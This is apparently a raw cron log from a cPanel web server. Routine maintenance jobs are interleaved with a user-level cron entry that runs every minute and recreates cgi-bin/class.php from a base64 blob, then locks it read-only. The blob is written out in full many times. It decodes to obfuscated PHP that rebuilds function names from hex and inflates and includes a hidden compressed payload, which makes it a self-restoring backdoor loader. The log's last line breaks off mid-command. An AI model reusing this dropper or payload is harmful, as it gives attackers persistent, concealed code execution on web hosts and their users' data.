Aug 31 20:01:01 server CROND[20917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:01:01 server CROND[20915]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 20:01:01 server run-parts(/etc/cron.hourly)[20915]: starting 0anacron
Aug 31 20:01:01 server run-parts(/etc/cron.hourly)[20937]: finished 0anacron
Aug 31 20:02:01 server CROND[21293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:02:01 server CROND[21294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:02:01 server CROND[21295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:03:01 server CROND[21672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:03:01 server CROND[21673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:03:01 server CROND[21674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:04:01 server CROND[22166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:04:01 server CROND[22167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:04:01 server CROND[22168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:05:01 server CROND[22632]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:05:01 server CROND[22634]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 20:05:01 server CROND[22633]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:05:01 server CROND[22639]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:05:01 server CROND[22642]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 20:05:01 server CROND[22643]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:05:01 server CROND[22645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:05:01 server CROND[22641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:05:01 server CROND[22640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:06:01 server CROND[23699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:06:01 server CROND[23700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:06:01 server CROND[23701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:07:01 server CROND[24077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:07:01 server CROND[24078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:07:01 server CROND[24079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:08:01 server CROND[24504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:08:01 server CROND[24505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:08:01 server CROND[24506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:09:01 server CROND[24972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:09:01 server CROND[24973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:09:01 server CROND[24974]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 20:09:01 server CROND[24975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:10:01 server CROND[25358]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:10:01 server CROND[25359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:10:01 server CROND[25360]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:10:01 server CROND[25364]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:10:01 server CROND[25366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:10:01 server CROND[25365]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:10:01 server CROND[25363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:10:01 server CROND[25367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:11:01 server CROND[26186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:11:01 server CROND[26187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:11:01 server CROND[26188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:12:01 server CROND[26578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:12:01 server CROND[26579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:12:01 server CROND[26580]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 20:12:01 server CROND[26581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:13:01 server CROND[26952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:13:01 server CROND[26953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:13:01 server CROND[26954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > 